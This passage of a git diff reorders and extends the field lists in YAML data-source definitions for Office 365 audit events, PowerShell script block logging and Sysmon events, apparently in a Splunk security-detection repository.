- timestartpos + - tenant_id + - timestamp + - User - user - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user diff --git a/data_sources/o365_add_member_to_role_.yml b/data_sources/o365_add_member_to_role_.yml index bc771f7805..ed78a25466 100644 --- a/data_sources/o365_add_member_to_role_.yml +++ b/data_sources/o365_add_member_to_role_.yml @@ -20,39 +20,17 @@ supported_TA: version: 6.1.1 fields: - _time + - action - ActorContextId - Actor{}.ID - Actor{}.Type - - AzureActiveDirectoryEventType - - CreationTime - - ExtendedProperties{}.Name - - ExtendedProperties{}.Value - - Id - - InterSystemsId - - IntraSystemId - - ModifiedProperties{}.Name - - ModifiedProperties{}.NewValue - - ModifiedProperties{}.OldValue - - ObjectId - - Operation - - OrganizationId - - RecordType - - ResultStatus - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserId - - UserKey - - UserType - - Version - - Workload - - action - additionalDetails - app - authentication_service + - AzureActiveDirectoryEventType - change_type - command + - CreationTime - dataset_name - date_hour - date_mday @@ -68,28 +46,53 @@ fields: - event_type - eventtype - extendedAuditEventCategory + - ExtendedProperties{}.Name + - ExtendedProperties{}.Value - host + - Id - index + - InterSystemsId + - IntraSystemId - linecount + - ModifiedProperties{}.Name + - ModifiedProperties{}.NewValue + - ModifiedProperties{}.OldValue - object - object_attrs - object_category + - object_id + - ObjectId + - Operation + - OrganizationId - punct - record_type + - RecordType + - result + - ResultStatus - signature - source - sourcetype - splunk_server - status + - SupportTicketId - tag - tag::eventtype + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id - timeendpos - timestartpos - user - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user diff --git a/data_sources/o365_add_owner_to_application_.yml b/data_sources/o365_add_owner_to_application_.yml index a37f369403..8e444c31bb 100644 --- a/data_sources/o365_add_owner_to_application_.yml +++ b/data_sources/o365_add_owner_to_application_.yml @@ -20,39 +20,17 @@ supported_TA: version: 6.1.1 fields: - _time + - action - ActorContextId - Actor{}.ID - Actor{}.Type - - AzureActiveDirectoryEventType - - CreationTime - - ExtendedProperties{}.Name - - ExtendedProperties{}.Value - - Id - - InterSystemsId - - IntraSystemId - - ModifiedProperties{}.Name - - ModifiedProperties{}.NewValue - - ModifiedProperties{}.OldValue - - ObjectId - - Operation - - OrganizationId - - RecordType - - ResultStatus - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserId - - UserKey - - UserType - - Version - - Workload - - action - additionalDetails - app - authentication_service + - AzureActiveDirectoryEventType - change_type - command + - CreationTime - dataset_name - date_hour - date_mday @@ -68,21 +46,41 @@ fields: - event_type - eventtype - extendedAuditEventCategory + - ExtendedProperties{}.Name + - ExtendedProperties{}.Value - host + - Id - index + - InterSystemsId + - IntraSystemId - linecount + - ModifiedProperties{}.Name + - ModifiedProperties{}.NewValue + - ModifiedProperties{}.OldValue - object - object_attrs - object_category + - object_id + - ObjectId + - Operation + - OrganizationId - punct - record_type + - RecordType + - result + - ResultStatus - signature - source - sourcetype - splunk_server - status + - SupportTicketId - tag - tag::eventtype + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id - timeendpos - timestartpos - user @@ -90,8 +88,13 @@ fields: - user_agent_change - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user diff --git a/data_sources/o365_add_service_principal_.yml b/data_sources/o365_add_service_principal_.yml index 37c92818d4..a918e4d7f0 100644 --- a/data_sources/o365_add_service_principal_.yml +++ b/data_sources/o365_add_service_principal_.yml @@ -20,39 +20,17 @@ supported_TA: version: 6.1.1 fields: - _time + - action - ActorContextId - Actor{}.ID - Actor{}.Type - - AzureActiveDirectoryEventType - - CreationTime - - ExtendedProperties{}.Name - - ExtendedProperties{}.Value - - Id - - InterSystemsId - - IntraSystemId - - ModifiedProperties{}.Name - - ModifiedProperties{}.NewValue - - ModifiedProperties{}.OldValue - - ObjectId - - Operation - - OrganizationId - - RecordType - - ResultStatus - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserId - - UserKey - - UserType - - Version - - Workload - - action - additionalDetails - app - authentication_service + - AzureActiveDirectoryEventType - change_type - command + - CreationTime - dataset_name - date_hour - date_mday @@ -68,30 +46,56 @@ fields: - event_type - eventtype - extendedAuditEventCategory + - ExtendedProperties{}.Name + - ExtendedProperties{}.Value - host + - Id - index + - InterSystemsId + - IntraSystemId - linecount + - ModifiedProperties{}.Name + - ModifiedProperties{}.NewValue + - ModifiedProperties{}.OldValue + - object - object_attrs - object_category + - object_id + - ObjectId + - Operation + - OrganizationId - punct - record_type + - RecordType + - result + - ResultStatus - signature - source - sourcetype - splunk_server - src_user + - src_user_type - status + - SupportTicketId - tag - tag::eventtype + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id - timeendpos - timestartpos - user - user_agent - user_agent_change - user_id - - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user diff --git a/data_sources/o365_change_user_license_.yml b/data_sources/o365_change_user_license_.yml index 648a5cfcfc..8e467d48b4 100644 --- a/data_sources/o365_change_user_license_.yml +++ b/data_sources/o365_change_user_license_.yml @@ -20,36 +20,17 @@ supported_TA: version: 6.1.1 fields: - _time + - action - ActorContextId - Actor{}.ID - Actor{}.Type - - AzureActiveDirectoryEventType - - CreationTime - - ExtendedProperties{}.Name - - ExtendedProperties{}.Value - - Id - - InterSystemsId - - IntraSystemId - - ObjectId - - Operation - - OrganizationId - - RecordType - - ResultStatus - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserId - - UserKey - - UserType - - Version - - Workload - - action - additionalDetails - app - authentication_service + - AzureActiveDirectoryEventType - change_type - command + - CreationTime - dataset_name - date_hour - date_mday @@ -65,29 +46,51 @@ fields: - event_type - eventtype - extendedAuditEventCategory + - ExtendedProperties{}.Name + - ExtendedProperties{}.Value - host + - Id - index + - InterSystemsId + - IntraSystemId - linecount - object - object_attrs - object_category + - object_id + - ObjectId + - Operation + - OrganizationId - punct - record_type + - RecordType + - result + - ResultStatus - signature - source - sourcetype - splunk_server - src_user - status + - SupportTicketId - tag - tag::eventtype + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id - timeendpos - timestartpos - user - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user diff --git a/data_sources/o365_consent_to_application_.yml b/data_sources/o365_consent_to_application_.yml index 5e89011933..e2ec18eba7 100644 --- a/data_sources/o365_consent_to_application_.yml +++ b/data_sources/o365_consent_to_application_.yml @@ -23,34 +23,12 @@ fields: - ActorContextId - Actor{}.ID - Actor{}.Type - - AzureActiveDirectoryEventType - - CreationTime - - ExtendedProperties{}.Name - - ExtendedProperties{}.Value - - Id - - InterSystemsId - - IntraSystemId - - ModifiedProperties{}.Name - - ModifiedProperties{}.NewValue - - ModifiedProperties{}.OldValue - - ObjectId - - Operation - - OrganizationId - - RecordType - - ResultStatus - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserId - - UserKey - - UserType - - Version - - Workload - additionalDetails - app - authentication_service + - AzureActiveDirectoryEventType - command + - CreationTime - date_hour - date_mday - date_minute @@ -64,17 +42,37 @@ fields: - dvc - event_type - extendedAuditEventCategory + - ExtendedProperties{}.Name + - ExtendedProperties{}.Value - host + - Id - index + - InterSystemsId + - IntraSystemId - linecount + - ModifiedProperties{}.Name + - ModifiedProperties{}.NewValue + - ModifiedProperties{}.OldValue - object + - object_id + - ObjectId + - Operation + - OrganizationId - punct - record_type + - RecordType + - result + - ResultStatus - signature - source - sourcetype - splunk_server - status + - SupportTicketId + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id - timeendpos - timestartpos - user @@ -82,8 +80,13 @@ fields: - user_agent_change - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user diff --git a/data_sources/o365_disable_strong_authentication_.yml b/data_sources/o365_disable_strong_authentication_.yml index b18af0076e..04c94592c8 100644 --- a/data_sources/o365_disable_strong_authentication_.yml +++ b/data_sources/o365_disable_strong_authentication_.yml @@ -24,67 +24,64 @@ fields: - ActorIpAddress - Actor{}.ID - Actor{}.Type + - additionalDetails + - app + - authentication_service - AzureActiveDirectoryEventType - ClientIP + - command - CreationTime + - dest + - dest_name + - dvc + - event_type + - extended_properties + - extendedAuditEventCategory - ExtendedProperties{}.Name - ExtendedProperties{}.Value + - host - Id + - index - InterSystemsId - IntraSystemId + - linecount + - modified_properties + - modified_properties_name + - modified_properties_new_value - ModifiedProperties{}.Name - ModifiedProperties{}.NewValue - ModifiedProperties{}.OldValue + - object + - object_id - ObjectId - Operation - OrganizationId - - RecordType - - ResultStatus - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserId - - UserKey - - UserType - - Version - - Workload - - additionalDetails - - app - - authentication_service - - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_name - - dvc - - event_type - - extendedAuditEventCategory - - extended_properties - - host - - index - - linecount - - object - punct - record_type + - RecordType + - result + - ResultStatus - signature - source - sourcetype - splunk_server - status - - timeendpos - - timestartpos + - SupportTicketId + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id + - timestamp - user - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user diff --git a/data_sources/o365_mailitemsaccessed.yml b/data_sources/o365_mailitemsaccessed.yml index ba8649b87b..3cab5608e9 100644 --- a/data_sources/o365_mailitemsaccessed.yml +++ b/data_sources/o365_mailitemsaccessed.yml @@ -20,19 +20,46 @@ supported_TA: version: 6.1.1 fields: - _time + - app - AppId + - authentication_service + - client_info_str - ClientAppId - - ClientIPAddress - ClientInfoString + - ClientIP + - ClientIPAddress + - ClientProcessName + - ClientRequestId + - ClientVersion + - command - CreationTime + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest + - dest_name + - dvc - ExternalAccess + - Folders{}.FolderItems{}.ClientRequestId - Folders{}.FolderItems{}.InternetMessageId - Folders{}.FolderItems{}.SizeInBytes - Folders{}.Id - Folders{}.Path + - host - Id + - index - InternalLogonType - IsThrottled + - Item.Id + - Item.ParentFolder.Id + - Item.ParentFolder.Name + - Item.ParentFolder.Path + - linecount - LogonType - LogonUserSid - MailAccessType @@ -46,41 +73,33 @@ fields: - OrganizationId - OrganizationName - OriginatingServer + - punct + - record_type - RecordType + - result - ResultStatus - - UserId - - UserKey - - UserType - - Version - - Workload - - app - - authentication_service - - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dvc - - host - - index - - linecount - - punct + - SessionId - signature - source - sourcetype - splunk_server + - src + - src_ip - status + - tenant_id - timeendpos - timestartpos - user + - user_agent - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user diff --git a/data_sources/o365_modifyfolderpermissions.yml b/data_sources/o365_modifyfolderpermissions.yml index 40683dcd19..195b230441 100644 --- a/data_sources/o365_modifyfolderpermissions.yml +++ b/data_sources/o365_modifyfolderpermissions.yml @@ -20,44 +20,20 @@ supported_TA: version: 6.1.1 fields: - _time - - AppId - - ClientIP - - ClientIPAddress - - ClientInfoString - - CreationTime - - ExternalAccess - - Id - - InternalLogonType - - Item.Id - - Item.ParentFolder.Id - - Item.ParentFolder.MemberRights - - Item.ParentFolder.MemberSid - - Item.ParentFolder.MemberUpn - - Item.ParentFolder.Name - - Item.ParentFolder.Path - - LogonType - - LogonUserSid - - MailboxGuid - - MailboxOwnerSid - - MailboxOwnerUPN - - Operation - - OrganizationId - - OrganizationName - - OriginatingServer - - RecordType - - ResultStatus - - SessionId - - UserId - - UserKey - - UserType - - Version - - Workload - action - app + - AppId - authentication_service - change_type - client_info_str + - ClientInfoString + - ClientIP + - ClientIPAddress + - ClientProcessName + - ClientRequestId + - ClientVersion - command + - CreationTime - dataset_name - date_hour - date_mday @@ -71,16 +47,38 @@ fields: - dest_name - dvc - eventtype + - ExternalAccess - host + - Id - index + - InternalLogonType + - Item.Id + - Item.ParentFolder.Id + - Item.ParentFolder.MemberRights + - Item.ParentFolder.MemberSid + - Item.ParentFolder.MemberUpn + - Item.ParentFolder.Name + - Item.ParentFolder.Path - linecount + - LogonType + - LogonUserSid + - MailboxGuid + - MailboxOwnerSid + - MailboxOwnerUPN - object - object_attrs - object_category - object_id + - Operation + - OrganizationId + - OrganizationName + - OriginatingServer - punct - record_type + - RecordType - result + - ResultStatus + - SessionId - signature - source - sourcetype @@ -97,8 +95,13 @@ fields: - user_agent - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user diff --git a/data_sources/o365_set_company_information_.yml b/data_sources/o365_set_company_information_.yml index f73672008b..21074601ea 100644 --- a/data_sources/o365_set_company_information_.yml +++ b/data_sources/o365_set_company_information_.yml @@ -20,79 +20,77 @@ supported_TA: version: 6.1.1 fields: - _time + - action - ActorContextId - ActorIpAddress - Actor{}.ID - Actor{}.Type - - AzureActiveDirectoryEventType - - ClientIP - - CreationTime - - ExtendedProperties{}.Name - - ExtendedProperties{}.Value - - Id - - InterSystemsId - - IntraSystemId - - ModifiedProperties{}.Name - - ModifiedProperties{}.NewValue - - ModifiedProperties{}.OldValue - - ObjectId - - Operation - - OrganizationId - - RecordType - - ResultStatus - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserId - - UserKey - - UserType - - Version - - Workload - - action - additionalDetails - app - authentication_service + - AzureActiveDirectoryEventType - change_type + - ClientIP - command + - CreationTime - dataset_name - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - dest - dest_name - dvc - event_type - eventtype - - extendedAuditEventCategory - extended_properties + - extendedAuditEventCategory + - ExtendedProperties{}.Name + - ExtendedProperties{}.Value - host + - Id - index + - InterSystemsId + - IntraSystemId - linecount + - modified_properties + - modified_properties_name + - modified_properties_new_value + - ModifiedProperties{}.Name + - ModifiedProperties{}.NewValue + - ModifiedProperties{}.OldValue + - obj_id - object - object_attrs - object_category + - object_id + - ObjectId + - Operation + - OrganizationId - punct - record_type + - RecordType + - result + - ResultStatus - signature - source - sourcetype - splunk_server - status + - SupportTicketId - tag - tag::eventtype - - timeendpos - - timestartpos + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id + - timestamp - user - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user diff --git a/data_sources/o365_update_application_.yml b/data_sources/o365_update_application_.yml index 6efbb68a3b..b74066a9a7 100644 --- a/data_sources/o365_update_application_.yml +++ b/data_sources/o365_update_application_.yml @@ -20,39 +20,17 @@ supported_TA: version: 6.1.1 fields: - _time + - action - ActorContextId - Actor{}.ID - Actor{}.Type - - AzureActiveDirectoryEventType - - CreationTime - - ExtendedProperties{}.Name - - ExtendedProperties{}.Value - - Id - - InterSystemsId - - IntraSystemId - - ModifiedProperties{}.Name - - ModifiedProperties{}.NewValue - - ModifiedProperties{}.OldValue - - ObjectId - - Operation - - OrganizationId - - RecordType - - ResultStatus - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserId - - UserKey - - UserType - - Version - - Workload - - action - additionalDetails - app - authentication_service + - AzureActiveDirectoryEventType - change_type - command + - CreationTime - dataset_name - date_hour - date_mday @@ -68,21 +46,42 @@ fields: - event_type - eventtype - extendedAuditEventCategory + - ExtendedProperties{}.Name + - ExtendedProperties{}.Value - host + - Id - index + - InterSystemsId + - IntraSystemId - linecount + - ModifiedProperties{}.Name + - ModifiedProperties{}.NewValue + - ModifiedProperties{}.OldValue + - obj_id - object - object_attrs - object_category + - object_id + - ObjectId + - Operation + - OrganizationId - punct - record_type + - RecordType + - result + - ResultStatus - signature - source - sourcetype - splunk_server - status + - SupportTicketId - tag - tag::eventtype + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id - timeendpos - timestartpos - user @@ -90,8 +89,13 @@ fields: - user_agent_change - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user diff --git a/data_sources/o365_update_authorization_policy_.yml b/data_sources/o365_update_authorization_policy_.yml index e835ce51ad..77f4c55cb8 100644 --- a/data_sources/o365_update_authorization_policy_.yml +++ b/data_sources/o365_update_authorization_policy_.yml @@ -23,34 +23,12 @@ fields: - ActorContextId - Actor{}.ID - Actor{}.Type - - AzureActiveDirectoryEventType - - CreationTime - - ExtendedProperties{}.Name - - ExtendedProperties{}.Value - - Id - - InterSystemsId - - IntraSystemId - - ModifiedProperties{}.Name - - ModifiedProperties{}.NewValue - - ModifiedProperties{}.OldValue - - ObjectId - - Operation - - OrganizationId - - RecordType - - ResultStatus - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserId - - UserKey - - UserType - - Version - - Workload - additionalDetails - app - authentication_service + - AzureActiveDirectoryEventType - command + - CreationTime - date_hour - date_mday - date_minute @@ -64,17 +42,38 @@ fields: - dvc - event_type - extendedAuditEventCategory + - ExtendedProperties{}.Name + - ExtendedProperties{}.Value - host + - Id - index + - InterSystemsId + - IntraSystemId - linecount + - ModifiedProperties{}.Name + - ModifiedProperties{}.NewValue + - ModifiedProperties{}.OldValue + - obj_id - object + - object_id + - ObjectId + - Operation + - OrganizationId - punct - record_type + - RecordType + - result + - ResultStatus - signature - source - sourcetype - splunk_server - status + - SupportTicketId + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id - timeendpos - timestartpos - user @@ -82,8 +81,13 @@ fields: - user_agent_change - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user diff --git a/data_sources/o365_update_user_.yml b/data_sources/o365_update_user_.yml index 925465e2f7..0adc2c5299 100644 --- a/data_sources/o365_update_user_.yml +++ b/data_sources/o365_update_user_.yml @@ -20,39 +20,17 @@ supported_TA: version: 6.1.1 fields: - _time + - action - ActorContextId - Actor{}.ID - Actor{}.Type - - AzureActiveDirectoryEventType - - CreationTime - - ExtendedProperties{}.Name - - ExtendedProperties{}.Value - - Id - - InterSystemsId - - IntraSystemId - - ModifiedProperties{}.Name - - ModifiedProperties{}.NewValue - - ModifiedProperties{}.OldValue - - ObjectId - - Operation - - OrganizationId - - RecordType - - ResultStatus - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserId - - UserKey - - UserType - - Version - - Workload - - action - additionalDetails - app - authentication_service + - AzureActiveDirectoryEventType - change_type - command + - CreationTime - dataset_name - date_hour - date_mday @@ -68,29 +46,56 @@ fields: - event_type - eventtype - extendedAuditEventCategory + - ExtendedProperties{}.Name + - ExtendedProperties{}.Value - host + - Id - index + - InterSystemsId + - IntraSystemId - linecount + - ModifiedProperties{}.Name + - ModifiedProperties{}.NewValue + - ModifiedProperties{}.OldValue - object - object_attrs - object_category + - object_id + - ObjectId + - Operation + - OrganizationId - punct - record_type + - RecordType + - result + - ResultStatus - signature - source - sourcetype - splunk_server - src_user - status + - SupportTicketId - tag - tag::eventtype + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id - timeendpos - timestartpos - user + - user_agent + - user_agent_change - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user diff --git a/data_sources/o365_userloggedin.yml b/data_sources/o365_userloggedin.yml index 00c0f8fa06..0340c44cc9 100644 --- a/data_sources/o365_userloggedin.yml +++ b/data_sources/o365_userloggedin.yml @@ -20,45 +20,21 @@ supported_TA: version: 6.1.1 fields: - _time + - action - ActorContextId - ActorIpAddress - Actor{}.ID - Actor{}.Type + - app - ApplicationId + - authentication_method + - authentication_service - AzureActiveDirectoryEventType - BrowserType - ClientIP - - CreationTime - - DeviceProperties{}.Name - - DeviceProperties{}.Value - - ErrorNumber - - ExtendedProperties{}.Name - - ExtendedProperties{}.Value - - Id - - InterSystemsId - - IntraSystemId - - OS - - ObjectId - - Operation - - OrganizationId - - RecordType - - RequestType - - ResultStatus - - ResultStatusDetail - - SessionId - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserAgent - - UserId - - UserKey - - UserType - - Version - - Workload - - app - - authentication_service - command + - CreationTime + - dataset_name - date_hour - date_mday - date_minute @@ -69,14 +45,33 @@ fields: - date_zone - dest - dest_name + - DeviceProperties{}.Name + - DeviceProperties{}.Value - dvc + - ErrorNumber - event_type + - eventtype + - ExtendedProperties{}.Name + - ExtendedProperties{}.Value - host + - Id - index + - InterSystemsId + - IntraSystemId + - KeepMeSignedIn - linecount - - object + - ObjectId + - Operation + - OrganizationId + - OS - punct - record_type + - RecordType + - RequestType + - result + - ResultStatus + - ResultStatusDetail + - SessionId - signature - source - sourcetype @@ -84,13 +79,29 @@ fields: - src - src_ip - status + - SupportTicketId + - tag + - tag::action + - tag::eventtype + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id - timeendpos - timestartpos - user - user_agent + - user_id - user_type + - UserAgent + - UserAuthenticationMethod + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user diff --git a/data_sources/o365_userloginfailed.yml b/data_sources/o365_userloginfailed.yml index bdacceddf4..c8e997c46c 100644 --- a/data_sources/o365_userloginfailed.yml +++ b/data_sources/o365_userloginfailed.yml @@ -20,49 +20,20 @@ supported_TA: version: 6.1.1 fields: - _time + - action - ActorContextId - ActorIpAddress - Actor{}.ID - Actor{}.Type + - app - ApplicationId + - authentication_method + - authentication_service - AzureActiveDirectoryEventType - BrowserType - ClientIP - - CreationTime - - DeviceProperties{}.Name - - DeviceProperties{}.Value - - ErrorNumber - - ExtendedProperties{}.Name - - ExtendedProperties{}.Value - - Id - - InterSystemsId - - IntraSystemId - - IsCompliantAndManaged - - LogonError - - OS - - ObjectId - - Operation - - OrganizationId - - RecordType - - RequestType - - ResultStatus - - ResultStatusDetail - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserAgent - - UserAuthenticationMethod - - UserId - - UserKey - - UserType - - Version - - Workload - - action - - app - - authentication_method - - authentication_service - command + - CreationTime - dataset_name - date_hour - date_mday @@ -74,17 +45,36 @@ fields: - date_zone - dest - dest_name + - DeviceProperties{}.Name + - DeviceProperties{}.Value - dvc + - ErrorNumber - event_type - eventtype + - extended_properties + - ExtendedProperties{}.Name + - ExtendedProperties{}.Value - host + - Id - index + - InterSystemsId + - IntraSystemId + - IsCompliantAndManaged + - KeepMeSignedIn - linecount - - object + - LogonError + - ObjectId + - Operation + - OrganizationId + - OS - punct - reason - record_type + - RecordType + - RequestType - result + - ResultStatus + - ResultStatusDetail - signature - source - sourcetype @@ -92,14 +82,30 @@ fields: - src - src_ip - status + - SupportTicketId - tag - tag::action - tag::eventtype + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id + - timeendpos + - timestamp + - timestartpos - user - user_agent + - user_id - user_type + - UserAgent + - UserAuthenticationMethod + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user diff --git a/data_sources/powershell_script_block_logging_4104.yml b/data_sources/powershell_script_block_logging_4104.yml index f5c6668fa1..37c59f8c7d 100644 --- a/data_sources/powershell_script_block_logging_4104.yml +++ b/data_sources/powershell_script_block_logging_4104.yml @@ -24,55 +24,50 @@ fields: - ActivityID - Channel - Computer + - dest + - dvc + - dvc_nt_host + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - Keywords - Level + - linecount - MessageNumber - MessageTotal - Name - Opcode - - Path - ProcessID + - punct - RecordNumber - ScriptBlockId - ScriptBlockText - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - UserID - - Version - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - punct + - severity + - severity_id + - signature - signature_id - source - sourcetype - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp - user_id + - UserID - vendor_product + - Version output_fields: - dest - signature diff --git a/data_sources/sysmon_eventid_10.yml b/data_sources/sysmon_eventid_10.yml index 7c13a96041..381bd6df98 100644 --- a/data_sources/sysmon_eventid_10.yml +++ b/data_sources/sysmon_eventid_10.yml @@ -21,42 +21,10 @@ supported_TA: version: 5.0.1 fields: - _time + - action - CallTrace - Channel - Computer - - EventChannel - - EventCode - - EventData_Xml - - EventDescription - - EventID - - EventRecordID - - GrantedAccess - - Guid - - Keywords - - Level - - Name - - Opcode - - ProcessID - - RecordID - - RecordNumber - - RuleName - - SecurityID - - SourceImage - - SourceProcessGUID - - SourceProcessId - - SourceThreadId - - SystemTime - - System_Props_Xml - - TargetImage - - TargetProcessGUID - - TargetProcessId - - Task - - ThreadID - - TimeCreated - - UserID - - UtcTime - - Version - - action - date_hour - date_mday - date_minute @@ -69,12 +37,25 @@ fields: - dvc - dvc_nt_host - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID - eventtype - granted_access + - granted_access_description + - GrantedAccess + - Guid - host - id - index + - Keywords + - Level - linecount + - Name + - Opcode - os - parent_process_exec - parent_process_guid @@ -86,18 +67,44 @@ fields: - process_id - process_name - process_path + - ProcessID - punct + - RecordID + - RecordNumber + - RuleName + - SecurityID + - severity + - severity_id - signature - signature_id - source + - SourceImage + - SourceProcessGUID + - SourceProcessId + - SourceThreadId - sourcetype + - SourceUser - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::eventtype + - TargetImage + - TargetProcessGUID + - TargetProcessId + - TargetUser + - Task + - TaskCategory + - ThreadID + - TimeCreated - timeendpos - timestartpos + - user - user_id + - UserID + - UtcTime - vendor_product + - Version output_fields: - dest - user_id diff --git a/data_sources/sysmon_eventid_11.yml b/data_sources/sysmon_eventid_11.yml index 847bf94914..e7305ae2f9 100644 --- a/data_sources/sysmon_eventid_11.yml +++ b/data_sources/sysmon_eventid_11.yml @@ -22,38 +22,10 @@ supported_TA: version: 5.0.1 fields: - _time + - action - Channel - Computer - CreationUtcTime - - EventChannel - - EventCode - - EventData_Xml - - EventDescription - - EventID - - EventRecordID - - Guid - - Image - - Keywords - - Level - - Name - - Opcode - - ProcessGuid - - ProcessID - - ProcessId - - RecordID - - RecordNumber - - RuleName - - SecurityID - - SystemTime - - System_Props_Xml - - TargetFilename - - Task - - ThreadID - - TimeCreated - - UserID - - UtcTime - - Version - - action - date_hour - date_mday - date_minute @@ -63,35 +35,69 @@ fields: - date_year - date_zone - dest + - dvc - dvc_nt_host - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID - eventtype - file_create_time - file_name - file_path + - Guid - host - id + - Image - index + - Keywords + - Level - linecount + - Name - object_category + - Opcode - process_exec - process_guid - process_id - process_name - process_path + - ProcessGuid + - ProcessID + - ProcessId - punct + - RecordID + - RecordNumber + - RuleName + - SecurityID + - severity + - severity_id - signature - signature_id - source - sourcetype - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::eventtype - tag::object_category + - TargetFilename + - Task + - TaskCategory + - ThreadID + - TimeCreated - timeendpos - timestartpos + - User + - user - user_id + - UserID + - UtcTime - vendor_product + - Version output_fields: - action - dest diff --git a/data_sources/sysmon_eventid_12.yml b/data_sources/sysmon_eventid_12.yml index b52aefa9f7..eba4feeae4 100644 --- a/data_sources/sysmon_eventid_12.yml +++ b/data_sources/sysmon_eventid_12.yml @@ -21,38 +21,9 @@ supported_TA: version: 5.0.1 fields: - _time + - action - Channel - Computer - - EventChannel - - EventCode - - EventData_Xml - - EventDescription - - EventID - - EventRecordID - - EventType - - Guid - - Image - - Keywords - - Level - - Name - - Opcode - - ProcessGuid - - ProcessID - - ProcessId - - RecordID - - RecordNumber - - RuleName - - SecurityID - - SystemTime - - System_Props_Xml - - TargetObject - - Task - - ThreadID - - TimeCreated - - UserID - - UtcTime - - Version - - action - date_hour - date_mday - date_minute @@ -62,24 +33,46 @@ fields: - date_year - date_zone - dest + - dvc - dvc_nt_host - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType - eventtype + - Guid - host - id + - Image - index + - Keywords + - Level - linecount + - Name - object_category - object_path + - Opcode - process_exec - process_guid - process_id - process_name - process_path + - ProcessGuid + - ProcessID + - ProcessId - punct + - RecordID + - RecordNumber - registry_hive - registry_key_name - registry_path + - RuleName + - SecurityID + - severity - severity_id - signature - signature_id @@ -87,13 +80,25 @@ fields: - sourcetype - splunk_server - status + - System_Props_Xml + - SystemTime - tag - tag::eventtype - tag::object_category + - TargetObject + - Task + - TaskCategory + - ThreadID + - TimeCreated - timeendpos - timestartpos + - User + - user - user_id + - UserID + - UtcTime - vendor_product + - Version output_fields: - action - dest diff --git a/data_sources/sysmon_eventid_13.yml b/data_sources/sysmon_eventid_13.yml index 9dd9afc34d..c79e6783ce 100644 --- a/data_sources/sysmon_eventid_13.yml +++ b/data_sources/sysmon_eventid_13.yml @@ -21,41 +21,9 @@ supported_TA: version: 5.0.1 fields: - _time + - action - Channel - Computer - - Details - - EventChannel - - EventCode - - EventData_Xml - - EventDescription - - EventID - - EventRecordID - - EventType - - Guid - - Image - - Keywords - - Level - - Name - - Opcode - - ProcessGuid - - ProcessID - - ProcessId - - RecordID - - RecordNumber - - RegistryValueData - - RegistryValueType - - RuleName - - SecurityID - - SystemTime - - 